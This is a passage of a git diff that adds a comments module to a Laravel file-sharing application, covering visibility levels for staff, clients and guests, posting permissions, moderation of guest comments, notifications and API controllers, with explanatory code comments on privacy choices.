$this->rules->editWindowMinutes(), + ]; + } + + /** + * @return array + */ + public function present(?User $viewer, FileComment $comment): array + { + return [ + 'id' => $comment->id, + 'body' => $comment->body, + 'author_name' => $comment->authorName(), + 'author_type' => $this->authorType($comment), + 'is_mine' => $viewer !== null && $comment->author_id === $viewer->id, + 'visibility' => $comment->visibility->value, + 'visibility_label' => $comment->visibility->label($viewer?->isStaff() === true), + // Whose conversation this is, when it is one client's rather + // than every client's. Staff only: a client must not be able to + // tell that their comment sits among others. + 'conversation' => $viewer?->isStaff() === true && $comment->client_context_id !== null + ? $comment->clientContext?->name + : null, + // Replying is how staff address one client — the audience is + // inherited from here, never chosen. Only worth offering on a + // comment that has a client behind it to answer. + 'can_reply' => $viewer?->isStaff() === true + && $comment->visibility === CommentVisibility::Clients + && $comment->client_context_id !== null + && $comment->author_id !== $viewer->id, + 'pending' => $comment->isPending(), + 'created_at' => $comment->created_at?->toIso8601String(), + 'edited_at' => $comment->edited_at?->toIso8601String(), + 'can_update' => $viewer !== null && Gate::forUser($viewer)->allows('update', $comment), + 'can_delete' => $viewer !== null && Gate::forUser($viewer)->allows('delete', $comment), + // A held comment is only actionable where it is seen. The + // moderation queue is for working through a backlog; somebody + // who followed the alert on a file row is already looking at + // the one comment they came to decide about. + 'can_approve' => $comment->isPending() + && $viewer !== null + && Gate::forUser($viewer)->allows('moderate', FileComment::class), + ]; + } + + private function authorType(FileComment $comment): string + { + $author = $comment->author; + + if ($author === null) { + return 'guest'; + } + + return $author->isStaff() ? 'staff' : 'client'; + } +} diff --git a/app/Modules/Comments/CommentScope.php b/app/Modules/Comments/CommentScope.php new file mode 100644 index 00000000..c786e82d --- /dev/null +++ b/app/Modules/Comments/CommentScope.php @@ -0,0 +1,54 @@ + false, + self::AllFiles => true, + self::PublicFiles => $file->isEffectivelyPublic(), + self::SharedFiles => ! $file->isEffectivelyPublic(), + self::SelectedFiles => (bool) $file->commentable, + }; + } + + /** + * English label — also the translation key. + */ + public function label(): string + { + return match ($this) { + self::None => 'No files — commenting is off', + self::AllFiles => 'All files', + self::PublicFiles => 'Public files only', + self::SharedFiles => 'Shared files only', + self::SelectedFiles => 'Only files marked as commentable', + }; + } +} diff --git a/app/Modules/Comments/CommentVisibility.php b/app/Modules/Comments/CommentVisibility.php new file mode 100644 index 00000000..6863b0ef --- /dev/null +++ b/app/Modules/Comments/CommentVisibility.php @@ -0,0 +1,84 @@ +public` invites exactly the confusion this feature cannot afford. + */ +enum CommentVisibility: string +{ + case OnlyMe = 'only_me'; + case StaffOnly = 'staff_only'; + case Clients = 'clients'; + case Everyone = 'everyone'; + + /** + * English label — also the translation key. + * + * @param bool $forStaff Whose end of the conversation is reading. + */ + public function label(bool $forStaff = true): string + { + return match ($this) { + self::OnlyMe => 'Only me', + self::StaffOnly => 'Staff only', + self::Clients => $forStaff ? 'Staff and clients' : 'Staff', + self::Everyone => 'Everyone', + }; + } + + /** + * The one-line explanation shown under the option in the composer. + * English text — also the translation key. + */ + public function description(bool $forStaff = true): string + { + return match ($this) { + self::OnlyMe => 'A private note. Nobody else can read it, staff included.', + self::StaffOnly => 'The team working on this file. No client ever sees it.', + self::Clients => $forStaff + ? 'The team, and everyone this file is shared with. Clients cannot see each other.' + : 'The team behind this file. No other client can see it.', + self::Everyone => 'Everyone above, plus anyone who opens this file without logging in.', + }; + } + + /** + * Whether a client may choose this audience. Staff-only notes are not + * theirs to write, and there is no third party for them to address. + */ + public function availableToClients(): bool + { + return $this !== self::StaffOnly; + } +} diff --git a/app/Modules/Comments/CommentingRules.php b/app/Modules/Comments/CommentingRules.php new file mode 100644 index 00000000..9316c10f --- /dev/null +++ b/app/Modules/Comments/CommentingRules.php @@ -0,0 +1,290 @@ +settings->get(Setting::CommentsScope); + + return (is_string($value) ? CommentScope::tryFrom($value) : null) ?? CommentScope::AllFiles; + } + + public function authors(): CommentAuthors + { + $value = $this->settings->get(Setting::CommentsAuthors); + + return (is_string($value) ? CommentAuthors::tryFrom($value) : null) ?? CommentAuthors::StaffAndClients; + } + + /** + * Whether the feature exists at all on this install. Surfaces use this + * to decide whether to render any comment affordance whatsoever. + */ + public function enabled(): bool + { + return $this->scope() !== CommentScope::None; + } + + /** + * Whether this particular file accepts new comments. Existing comments + * on a file that no longer qualifies stay readable — turning the scope + * down hides the composer, not the history. Only CommentScope::None + * removes the feature's UI entirely. + */ + public function enabledFor(File $file): bool + { + return $this->scope()->allows($file); + } + + public function publicCommentsEnabled(): bool + { + return $this->settings->get(Setting::PublicCommentsEnabled) === true; + } + + /** + * Whether this author has to solve a security check before posting. + * + * Only a visitor with no account: somebody signed in has already been + * identified, is subject to everything else that governs an account, + * and asking them to prove they are human on a page that already knows + * who they are is friction with nothing behind it. + * + * The decision lives here because this class is where every surface + * asks what commenting policy is; the machinery behind it belongs to + * the Captcha module and stays there. + */ + public function captchaRequiredFor(?User $viewer): bool + { + return $viewer === null && app(Captcha::class)->protects(CaptchaForm::Comment); + } + + /** + * Whether anonymous comments wait for a moderator. Only reachable when + * the author setting is `everyone`; an authenticated comment is never + * held. + */ + public function moderatesGuests(): bool + { + return $this->settings->get(Setting::CommentsGuestModeration) === true; + } + + public function editWindowMinutes(): int + { + return (int) $this->settings->get(Setting::CommentsEditWindowMinutes); + } + + /** + * Whether $viewer may post on $file. Null means an anonymous visitor. + */ + public function canPost(?User $viewer, File $file): bool + { + return $this->postingBlockedReason($viewer, $file) === null; + } + + /** + * Why this person may not write here, in a sentence addressed to them — + * or null when they may, which is what canPost() above is. + * + * The permission answer and the explanation are the same walk on + * purpose. They were briefly two: the composer simply vanished when + * posting was refused, and the thread underneath said "No comments + * yet", which reads as *nobody has commented* rather than *you cannot*. + * A visitor on a public file with commenting closed had no way to tell + * the difference. Deriving one from the other means a new reason to + * refuse cannot ship without words for it. + * + * English text, also the translation key — same convention as the enum + * labels in this module. + * + * The file-visibility check happens here rather than in the caller: an + * authenticated writer must pass FilePolicy::view, and an anonymous one + * requires the file to be reachable without logging in at all. + */ + public function postingBlockedReason(?User $viewer, File $file): ?string + { + if (! $this->enabledFor($file)) { + return 'Comments are closed on this file.'; + } + + if (! $this->authors()->allows($viewer?->type)) { + return match ($this->authors()) { + CommentAuthors::Staff => 'Only staff can comment here.', + CommentAuthors::Clients => 'Only clients can comment here.', + // StaffAndClients, whose only refusal is of a visitor. + // Everyone refuses nobody and never reaches this. + default => 'Only people who are signed in can comment here.', + }; + } + + if ($viewer === null) { + // An anonymous author has exactly one possible visibility, so + // if that visibility is switched off they cannot write at all. + // Signing in is still a route to commenting, which is why the + // wording points there rather than saying it is impossible. + return $this->publicCommentsEnabled() && $file->isEffectivelyPublic() + ? null + : 'Only people who are signed in can comment here.'; + } + + // FilePolicy::view is about assignment, which is the wrong question + // for a public file: a logged-in client browsing the public listing + // reaches it exactly as a visitor does, and being signed in should + // not take away what being signed out allows. Their comment still + // lands in their own thread, so staff see who asked. + return Gate::forUser($viewer)->allows('view', $file) || $file->isEffectivelyPublic() + ? null + : 'You cannot comment on this file.'; + } + + /** + * Which visibilities the composer may offer, in the order they should + * be listed. Empty means the composer must not be rendered. + * + * @return list + */ + public function allowedVisibilities(?User $viewer, File $file): array + { + if (! $this->canPost($viewer, $file)) { + return []; + } + + $everyone = $this->publicCommentsEnabled() && $file->isEffectivelyPublic(); + + if ($viewer === null) { + return $everyone ? [CommentVisibility::Everyone] : []; + } + + // Narrowest audience first — a list is easier to scan when it runs + // one way. The default is chosen separately (see defaultVisibility) + // rather than falling out of this order. + $allowed = array_values(array_filter( + [CommentVisibility::OnlyMe, CommentVisibility::StaffOnly, CommentVisibility::Clients], + fn (CommentVisibility $visibility): bool => $viewer->isStaff() || $visibility->availableToClients(), + )); + + if ($everyone) { + $allowed[] = CommentVisibility::Everyone; + } + + return $allowed; + } + + /** + * Every audience the composer shows, including the ones this file or + * this installation does not currently allow. + * + * An unavailable option is shown disabled with the reason rather than + * left out. Silently omitting it is indistinguishable from the feature + * not existing — which is exactly how it read to the first person who + * looked for "Everyone" and could not find it. Saying why also says + * what to change. + * + * This is presentation only. allowedVisibilities() above stays the + * authorization list, and FileComments::post still refuses anything + * absent from it. + * + * @return list + */ + public function visibilityOptions(?User $viewer, File $file): array + { + $allowed = $this->allowedVisibilities($viewer, $file); + + if ($allowed === [] || $viewer === null) { + // A visitor gets Everyone or nothing at all, and no explanation + // is any use to them — there is nothing they could change. + return array_map( + fn (CommentVisibility $visibility): array => ['visibility' => $visibility, 'available' => true, 'reason' => null], + $allowed, + ); + } + + $offered = array_values(array_filter( + CommentVisibility::cases(), + fn (CommentVisibility $visibility): bool => $viewer->isStaff() || $visibility->availableToClients(), + )); + + return array_map(fn (CommentVisibility $visibility): array => [ + 'visibility' => $visibility, + 'available' => in_array($visibility, $allowed, true), + 'reason' => in_array($visibility, $allowed, true) ? null : $this->unavailableReason($visibility, $file), + ], $offered); + } + + /** + * Why an audience is not on offer, in words that name the thing to + * change. Only Everyone is ever conditional today. + */ + private function unavailableReason(CommentVisibility $visibility, File $file): ?string + { + if ($visibility !== CommentVisibility::Everyone) { + return null; + } + + // The site switch first: it is the more general cause, and turning + // it on is the step that unblocks every file at once. + return $this->publicCommentsEnabled() + ? 'Only a file that is publicly visible can have public comments.' + : 'Public comments are turned off for this site.'; + } + + /** + * Which audience the composer starts on. + * + * The conversational one, not the narrowest. A comment box on a shared + * file is for talking to the people it is shared with, and defaulting + * to a private note has a silent failure behind it: a client asks a + * question, never notices the dropdown, and writes it to themselves — + * so nobody answers, and nobody knows there was anything to answer. + * The reverse mistake is louder and easier to undo. + */ + public function defaultVisibility(?User $viewer, File $file): ?CommentVisibility + { + $allowed = $this->allowedVisibilities($viewer, $file); + + if ($allowed === []) { + return null; + } + + return in_array(CommentVisibility::Clients, $allowed, true) + ? CommentVisibility::Clients + : $allowed[0]; + } +} diff --git a/app/Modules/Comments/CommentsServiceProvider.php b/app/Modules/Comments/CommentsServiceProvider.php new file mode 100644 index 00000000..6031866a --- /dev/null +++ b/app/Modules/Comments/CommentsServiceProvider.php @@ -0,0 +1,54 @@ +app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'file_comment.posted', + label: 'Someone commented on a file', + template: ':authorName commented on ":fileName"', + defaultEmailEnabled: true, + digestMail: CommentPostedNotification::class, + digestMailMany: CommentDigestNotification::class, + url: fn (array $data): string => route('comments.go', $data['fileId']), + )); + + $this->app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'file_comment.pending', + label: 'A comment is waiting for approval', + template: ':authorName commented on ":fileName" and is waiting for approval', + // Straight to the held ones. The screen lists every comment, so + // an unfiltered link would land the moderator in a haystack + // containing the thing they were told about. + url: fn (array $data): string => route('comments.index', ['status' => 'pending']), + )); + } +} diff --git a/app/Modules/Comments/FileCommentPolicy.php b/app/Modules/Comments/FileCommentPolicy.php new file mode 100644 index 00000000..67c64dee --- /dev/null +++ b/app/Modules/Comments/FileCommentPolicy.php @@ -0,0 +1,70 @@ +allows('view', $comment->file)) { + return false; + } + + return $this->scope->for($user, $comment->file)->whereKey($comment->getKey())->exists(); + } + + /** + * Editing is the author's alone, inside a short window. Moderators are + * deliberately excluded: deleting somebody's comment is moderation, + * rewriting their words is not, and no permission in this app should + * imply the latter. + */ + public function update(User $user, FileComment $comment): bool + { + return $comment->author_id === $user->id && $this->withinEditWindow($comment); + } + + public function delete(User $user, FileComment $comment): bool + { + if ($this->moderate($user)) { + return true; + } + + return $comment->author_id === $user->id && $this->withinEditWindow($comment); + } + + public function moderate(User $user): bool + { + return $user->isStaff() && $user->can('moderate_comments'); + } + + private function withinEditWindow(FileComment $comment): bool + { + $minutes = $this->rules->editWindowMinutes(); + + if ($minutes <= 0) { + return false; + } + + return $comment->created_at !== null + && $comment->created_at->diffInMinutes(now()) < $minutes; + } +} diff --git a/app/Modules/Comments/FileComments.php b/app/Modules/Comments/FileComments.php new file mode 100644 index 00000000..c61672b2 --- /dev/null +++ b/app/Modules/Comments/FileComments.php @@ -0,0 +1,235 @@ +visibility; + } + + // Two refusals, and they are not the same sentence. "That audience + // is not available" is wrong when the real answer is that this + // person may not comment here at all — and that is the answer an + // API caller sees, so it has to name the actual obstacle. + if (($blocked = $this->rules->postingBlockedReason($author, $file)) !== null) { + throw new AuthorizationException($blocked); + } + + if (! in_array($visibility, $this->rules->allowedVisibilities($author, $file), true)) { + throw new AuthorizationException('This comment visibility is not available on this file.'); + } + + $pending = $author === null && $this->rules->moderatesGuests(); + + $comment = FileComment::query()->create([ + 'file_id' => $file->id, + 'author_id' => $author?->id, + 'client_context_id' => $this->resolveClientContext($author, $visibility, $replyTo), + 'guest_name' => $author === null ? $guestName : null, + // Only ever recorded for anonymous authors, and only because + // it is the one handle that makes spam actionable — an account + // is already identified by its author_id. + 'ip_address' => $author === null ? request()->ip() : null, + 'visibility' => $visibility, + 'body' => $body, + 'approved_at' => $pending ? null : now(), + ]); + + // An anonymous comment gets its own action rather than a null + // actor: "System commented on this file" is not what happened, and + // the name a visitor gave is the only handle the entry has. + $author === null + ? $this->log->log(Action::CommentPostedByVisitor, null, $file, [ + 'visibility' => $visibility->value, + 'guest' => $comment->authorName(), + ]) + : $this->log->log(Action::CommentPosted, $author, $file, ['visibility' => $visibility->value]); + + if ($pending) { + // Nobody can see the comment yet, so the only people to tell + // are the ones who can act on that. + $this->notifier->send('file_comment.pending', $this->scope->moderators($file), $file, [ + 'fileId' => $file->id, + 'fileName' => $file->name, + 'authorName' => $comment->authorName(), + ]); + + return $comment; + } + + $this->announce($comment); + + return $comment; + } + + public function edit(FileComment $comment, string $body): FileComment + { + $comment->forceFill(['body' => $body, 'edited_at' => now()])->save(); + + $this->log->log(Action::CommentEdited, null, $comment->file); + + return $comment; + } + + /** + * Soft delete, consistent with the rest of the app: a staff member + * looking into a dispute later should not find a hole where the + * conversation was. + */ + public function remove(FileComment $comment): void + { + $this->log->log(Action::CommentDeleted, null, $comment->file); + + $comment->delete(); + } + + /** + * Release a held anonymous comment. Only now does it get announced — + * approval is the moment it becomes something anyone can see. + */ + public function approve(FileComment $comment, User $moderator): FileComment + { + if (! $comment->isPending()) { + return $comment; + } + + $comment->forceFill(['approved_at' => now()])->save(); + + $this->log->log(Action::CommentApproved, $moderator, $comment->file); + + $this->announce($comment); + + return $comment; + } + + /** + * Notifier performs no authorization of its own — its contract puts + * that on the caller — so the recipient list comes from the same scope + * that decides who may read the comment. Deriving it any other way is + * how a notification becomes a second, unaudited way to leak one + * client's existence to another. + */ + private function announce(FileComment $comment): void + { + $recipients = $this->scope->recipientsFor($comment); + + $this->notifier->send('file_comment.posted', $recipients, $comment->file, [ + 'fileId' => $comment->file_id, + 'fileName' => $comment->file->name, + 'authorName' => $comment->authorName(), + ]); + + // The same already-permission-checked list, buffered so a burst of + // replies becomes one email instead of one each. The digester + // applies the email gates (master switch, per-recipient + // preference) — this list is about who may *see* the comment, + // which is a different question. + $this->digester->queue('file_comment.posted', $recipients, $comment->file->name, [ + 'file_id' => $comment->file_id, + 'author_name' => $comment->authorName(), + ]); + } + + /** + * Which client's conversation this comment joins, or none. + * + * Only a Clients comment can belong to one: an OnlyMe note has an + * audience of one, a StaffOnly note has no client in it, and an + * Everyone comment is addressed to people with no client identity at + * all. Giving those a context would create rows that look + * conversation-scoped but are read by a different rule — the near-miss + * that makes a privacy model unauditable. + * + * Nobody names a client here. A client's own comment is theirs by + * construction; a staff comment is addressed to every client on the + * file unless it is a reply, in which case it goes exactly where the + * comment it answers went. There is no request field that can point a + * comment at an arbitrary client. + * + * @throws AuthorizationException + */ + private function resolveClientContext(?User $author, CommentVisibility $visibility, ?FileComment $replyTo): ?int + { + if ($visibility !== CommentVisibility::Clients || $author === null) { + return null; + } + + // A client always writes in their own conversation. + if (! $author->isStaff()) { + return $author->id; + } + + if ($replyTo === null) { + // Staff writing fresh address every client the file is shared + // with. They read it; they cannot see each other's replies. + return null; + } + + $client = $replyTo->clientContext; + + if ($client === null) { + return null; + } + + if (! $this->library->canAssignClient($author, $client)) { + throw new AuthorizationException('You cannot reply in this conversation.'); + } + + return $client->id; + } +} diff --git a/app/Modules/Comments/GuestCommentIdentity.php b/app/Modules/Comments/GuestCommentIdentity.php new file mode 100644 index 00000000..2c3dae86 --- /dev/null +++ b/app/Modules/Comments/GuestCommentIdentity.php @@ -0,0 +1,70 @@ +request->hasSession()) { + return; + } + + $ids = [...$this->ownCommentIds(), $commentId]; + + $this->request->session()->put(self::KEY, array_slice(array_unique($ids), -self::LIMIT)); + } + + /** + * @return list + */ + public function ownCommentIds(): array + { + if (! $this->request->hasSession()) { + return []; + } + + $stored = $this->request->session()->get(self::KEY, []); + + if (! is_array($stored)) { + return []; + } + + return array_values(array_map(intval(...), array_filter($stored, is_numeric(...)))); + } +} diff --git a/app/Modules/Comments/Http/Controllers/Api/CommentModerationController.php b/app/Modules/Comments/Http/Controllers/Api/CommentModerationController.php new file mode 100644 index 00000000..27d524f1 --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/Api/CommentModerationController.php @@ -0,0 +1,81 @@ +user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('moderate', FileComment::class); + + $pending = FileComment::query() + ->whereNull('approved_at') + ->whereIn('file_id', $this->library->files($viewer)->select('id')) + ->with(['author', 'clientContext']) + ->orderBy('created_at') + ->orderBy('id') + ->get(); + + return FileCommentResource::collection($pending); + } + + /** + * Approve a comment left by a visitor. + * + * Nobody can see it until this happens. Approving an already-approved + * comment changes nothing and announces nothing, so a retried request + * is safe — which matters more here than on the web, where a human does + * not retry automatically. + */ + public function approve(Request $request, FileComment $comment): FileCommentResource + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('moderate', FileComment::class); + // Moderation rights are not a way around the library boundary. + abort_unless($this->library->allowsFile($viewer, $comment->file), 403); + + $this->comments->approve($comment, $viewer); + + return new FileCommentResource($comment->fresh()?->load(['author', 'clientContext']) ?? $comment); + } +} diff --git a/app/Modules/Comments/Http/Controllers/Api/FileCommentsController.php b/app/Modules/Comments/Http/Controllers/Api/FileCommentsController.php new file mode 100644 index 00000000..1b6a4b40 --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/Api/FileCommentsController.php @@ -0,0 +1,141 @@ +user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + $comments = $this->scope->for($viewer, $file) + ->with(['author', 'clientContext']) + ->orderBy('created_at') + ->orderBy('id') + ->get(); + + return FileCommentResource::collection($comments); + } + + /** + * Post a comment on a file. + * + * `visibility` is one of `only_me` (a private note), `staff_only` (the + * team, no client), `clients` (**the team and** every client the file + * is shared with — the name says who it adds, since staff can already + * see everything on a file they can open) or `everyone` (all of the + * above plus anyone who opens the file without logging in). + * Which of them are available depends on the installation's comment + * settings and on whether the file is publicly visible; asking for one + * that is not available returns 403. + * + * `reply_to` is the id of a comment being answered. A reply inherits + * that comment's audience, which is the only way a comment becomes + * addressed to one client rather than all of them — there is no field + * that names a client directly. An id this token cannot already read + * is ignored, and the comment is posted as a fresh one. + */ + public function store(Request $request, File $file): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + $validated = $request->validate([ + 'body' => ['required', 'string', 'max:5000'], + 'visibility' => ['required', Rule::enum(CommentVisibility::class)], + 'reply_to' => ['nullable', 'integer'], + ]); + + $replyTo = isset($validated['reply_to']) + ? $this->scope->for($viewer, $file)->whereKey($validated['reply_to'])->first() + : null; + + $comment = $this->comments->post( + $file, + $viewer, + CommentVisibility::from($validated['visibility']), + $validated['body'], + $replyTo, + ); + + return (new FileCommentResource($comment->load(['author', 'clientContext']))) + ->response() + ->setStatusCode(201); + } + + /** + * Edit a comment. + * + * Only its own author may, and only within the installation's editing + * window. Moderation rights do not extend to rewriting somebody + * else's words. + */ + public function update(Request $request, FileComment $comment): FileCommentResource + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('update', $comment); + + $validated = $request->validate(['body' => ['required', 'string', 'max:5000']]); + + $this->comments->edit($comment, $validated['body']); + + return new FileCommentResource($comment->fresh()?->load(['author', 'clientContext']) ?? $comment); + } + + /** + * Delete a comment. + * + * Its author may, within the editing window; a moderator may at any + * time. The comment is soft-deleted, so a later dispute is not left + * with a hole where the conversation was. + */ + public function destroy(Request $request, FileComment $comment): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('delete', $comment); + + $this->comments->remove($comment); + + return response()->json(status: 204); + } +} diff --git a/app/Modules/Comments/Http/Controllers/CommentDeepLinkController.php b/app/Modules/Comments/Http/Controllers/CommentDeepLinkController.php new file mode 100644 index 00000000..454c76df --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/CommentDeepLinkController.php @@ -0,0 +1,47 @@ +user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + if ($viewer->isStaff()) { + // The file's own page, which is also where the activity log's + // "View" link lands — one destination for "show me this + // conversation" rather than two. It works whatever page of the + // library the file happens to be on, which the slide-over did + // not. + return redirect()->route('files.edit', [$file, 'tab' => 'comments']); + } + + // The portal is a list, so this opens the file's own comment panel + // from its row. A file that is not on the page the client lands on + // (deep in a folder, or past the first page) simply does not open — + // they still arrive somewhere sensible, which is why this is a + // query parameter rather than a promise. + return redirect()->route('my-files.index', ['comments' => $file->id]); + } +} diff --git a/app/Modules/Comments/Http/Controllers/CommentSettingsController.php b/app/Modules/Comments/Http/Controllers/CommentSettingsController.php new file mode 100644 index 00000000..1291fa52 --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/CommentSettingsController.php @@ -0,0 +1,75 @@ + $this->settings->get(Setting::CommentsScope), + 'comments_authors' => $this->settings->get(Setting::CommentsAuthors), + 'public_comments_enabled' => $this->settings->get(Setting::PublicCommentsEnabled), + 'comments_guest_moderation' => $this->settings->get(Setting::CommentsGuestModeration), + 'comments_edit_window_minutes' => $this->settings->get(Setting::CommentsEditWindowMinutes), + 'scope_options' => array_map( + fn (CommentScope $scope): array => ['value' => $scope->value, 'label' => $scope->label()], + CommentScope::cases(), + ), + 'author_options' => array_map( + fn (CommentAuthors $authors): array => ['value' => $authors->value, 'label' => $authors->label()], + CommentAuthors::cases(), + ), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'comments_scope' => ['required', Rule::enum(CommentScope::class)], + 'comments_authors' => ['required', Rule::enum(CommentAuthors::class)], + 'public_comments_enabled' => ['required', 'boolean'], + 'comments_guest_moderation' => ['required', 'boolean'], + 'comments_edit_window_minutes' => ['required', 'integer', 'min:0', 'max:1440'], + ]); + + $this->settings->set(Setting::CommentsScope, $validated['comments_scope']); + $this->settings->set(Setting::CommentsAuthors, $validated['comments_authors']); + $this->settings->set(Setting::PublicCommentsEnabled, $validated['public_comments_enabled']); + $this->settings->set(Setting::CommentsGuestModeration, $validated['comments_guest_moderation']); + $this->settings->set(Setting::CommentsEditWindowMinutes, (int) $validated['comments_edit_window_minutes']); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'comments']); + + return back(); + } +} diff --git a/app/Modules/Comments/Http/Controllers/CommentsController.php b/app/Modules/Comments/Http/Controllers/CommentsController.php new file mode 100644 index 00000000..fffc0612 --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/CommentsController.php @@ -0,0 +1,234 @@ +user(); + assert($viewer !== null); + + $filters = $this->validatedFilters($request); + + $comments = $this->filteredQuery($filters, $viewer) + ->with(['file', 'author', 'clientContext']) + ->paginate(self::PER_PAGE) + ->withQueryString(); + + return Inertia::render('comments/index', [ + 'entries' => $comments->getCollection() + ->map(fn (FileComment $comment): array => $this->present($viewer, $comment)) + ->values()->all(), + 'pagination' => [ + 'page' => $comments->currentPage(), + 'last_page' => $comments->lastPage(), + 'prev' => $comments->previousPageUrl(), + 'next' => $comments->nextPageUrl(), + 'total' => $comments->total(), + ], + 'filters' => $filters, + // The count of everything waiting, not of what this page shows: + // it is what the "Awaiting approval" filter would find, and the + // reason to reach for it. + 'pending_total' => $this->scope->pendingTotal($viewer), + 'visibilities' => array_map(fn (CommentVisibility $visibility): array => [ + 'value' => $visibility->value, + 'label' => $visibility->label(forStaff: true), + ], CommentVisibility::cases()), + ]); + } + + /** + * One action, two representations: this screen posts and expects to + * land back on itself, the details panel fetches and expects the + * thread it is showing. A second route for the same decision would be + * a second place for it to drift. + */ + public function approve(Request $request, FileComment $comment): RedirectResponse|JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('moderate', FileComment::class); + // Moderation rights are not a way around the library boundary. + abort_unless($this->library->allowsFile($viewer, $comment->file), 403); + + $this->comments->approve($comment, $viewer); + + if ($request->wantsJson()) { + return response()->json($this->presenter->thread($viewer, $comment->file)); + } + + return back()->with('success', __('Comment approved.')); + } + + public function destroy(Request $request, FileComment $comment): RedirectResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('delete', $comment); + abort_unless($this->library->allowsFile($viewer, $comment->file), 403); + + $this->comments->remove($comment); + + return back()->with('success', __('Comment deleted.')); + } + + /** + * @return array + */ + private function present(User $viewer, FileComment $comment): array + { + return [ + 'id' => $comment->id, + 'body' => $comment->body, + 'author_name' => $comment->authorName(), + 'author_type' => $this->authorType($comment), + 'visibility' => $comment->visibility->value, + 'visibility_label' => $comment->visibility->label(forStaff: true), + // Whose conversation this is, when it is one client's. Staff + // only by construction — this whole screen is. + 'conversation' => $comment->clientContext?->name, + 'pending' => $comment->isPending(), + // Only ever recorded for a visitor, and the one handle that + // makes repeat spam actionable. + 'ip_address' => $comment->ip_address, + 'created_at' => $comment->created_at?->toIso8601String(), + 'edited_at' => $comment->edited_at?->toIso8601String(), + 'file' => ['id' => $comment->file->id, 'name' => $comment->file->name], + // Deep-links to the file's own Comments tab: deciding about one + // comment usually means reading the rest of the conversation. + 'file_url' => route('files.edit', ['file' => $comment->file, 'tab' => 'comments'], false), + 'can_approve' => $comment->isPending(), + 'can_delete' => Gate::forUser($viewer)->allows('delete', $comment), + ]; + } + + private function authorType(FileComment $comment): string + { + $author = $comment->author; + + if ($author === null) { + return 'guest'; + } + + return $author->isStaff() ? 'staff' : 'client'; + } + + /** + * @return array{status: ?string, visibility: ?string, author_type: ?string, search: ?string, file: ?string, from: ?string, to: ?string} + */ + private function validatedFilters(Request $request): array + { + $validated = $request->validate([ + 'status' => ['nullable', Rule::in(['pending', 'approved'])], + 'visibility' => ['nullable', Rule::enum(CommentVisibility::class)], + 'author_type' => ['nullable', Rule::in(['staff', 'client', 'guest'])], + 'search' => ['nullable', 'string', 'max:255'], + 'file' => ['nullable', 'string', 'max:255'], + 'from' => ['nullable', 'date'], + 'to' => ['nullable', 'date', 'after_or_equal:from'], + ]); + + return [ + 'status' => $validated['status'] ?? null, + 'visibility' => $validated['visibility'] ?? null, + 'author_type' => $validated['author_type'] ?? null, + 'search' => $validated['search'] ?? null, + 'file' => $validated['file'] ?? null, + 'from' => $validated['from'] ?? null, + 'to' => $validated['to'] ?? null, + ]; + } + + /** + * @param array{status: ?string, visibility: ?string, author_type: ?string, search: ?string, file: ?string, from: ?string, to: ?string} $filters + * @return Builder + */ + private function filteredQuery(array $filters, User $viewer): Builder + { + $timezone = $this->timezones->resolve($viewer); + + return $this->scope->across($viewer) + ->when($filters['status'], fn (Builder $query, string $status) => $status === 'pending' + ? $query->whereNull('approved_at') + : $query->whereNotNull('approved_at')) + ->when($filters['visibility'], fn (Builder $query, string $visibility) => $query->where('visibility', $visibility)) + ->when($filters['author_type'], fn (Builder $query, string $type) => match ($type) { + 'guest' => $query->whereNull('author_id'), + default => $query->whereHas('author', fn (Builder $author) => $author->where('type', $type)), + }) + // One box over the two things a comment is remembered by: what + // it said, and who said it. A visitor's name lives on the + // comment itself, an account's on the account, so both are + // asked — searching only one of them finds half the comments + // and gives no sign that it did. + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $any) => $any + ->where('body', 'like', "%{$search}%") + ->orWhere('guest_name', 'like', "%{$search}%") + ->orWhereHas('author', fn (Builder $author) => $author->where('name', 'like', "%{$search}%")))) + ->when($filters['file'], fn (Builder $query, string $file) => $query + ->whereHas('file', fn (Builder $on) => $on->where('name', 'like', "%{$file}%"))) + // The viewer's calendar day, not the server's — see LocalDay. + ->when( + $filters['from'] !== null ? LocalDay::start($filters['from'], $timezone) : null, + fn (Builder $query, Carbon $from) => $query->where('file_comments.created_at', '>=', $from), + ) + ->when( + $filters['to'] !== null ? LocalDay::end($filters['to'], $timezone) : null, + fn (Builder $query, Carbon $to) => $query->where('file_comments.created_at', '<=', $to), + ) + // Held comments first whatever the sort: they are the ones with + // a decision waiting on them, and the reason somebody opens this + // screen without a filter in mind. + ->orderByRaw('approved_at is null desc') + ->orderByDesc('file_comments.created_at') + ->orderByDesc('file_comments.id'); + } +} diff --git a/app/Modules/Comments/Http/Controllers/FileCommentsController.php b/app/Modules/Comments/Http/Controllers/FileCommentsController.php new file mode 100644 index 00000000..fc03ad8a --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/FileCommentsController.php @@ -0,0 +1,119 @@ +user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + return response()->json($this->payload($viewer, $file)); + } + + public function store(Request $request, File $file): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + $validated = $request->validate([ + 'body' => ['required', 'string', 'max:5000'], + 'visibility' => ['required', Rule::enum(CommentVisibility::class)], + 'reply_to' => ['nullable', 'integer'], + ]); + + $this->comments->post( + $file, + $viewer, + CommentVisibility::from($validated['visibility']), + 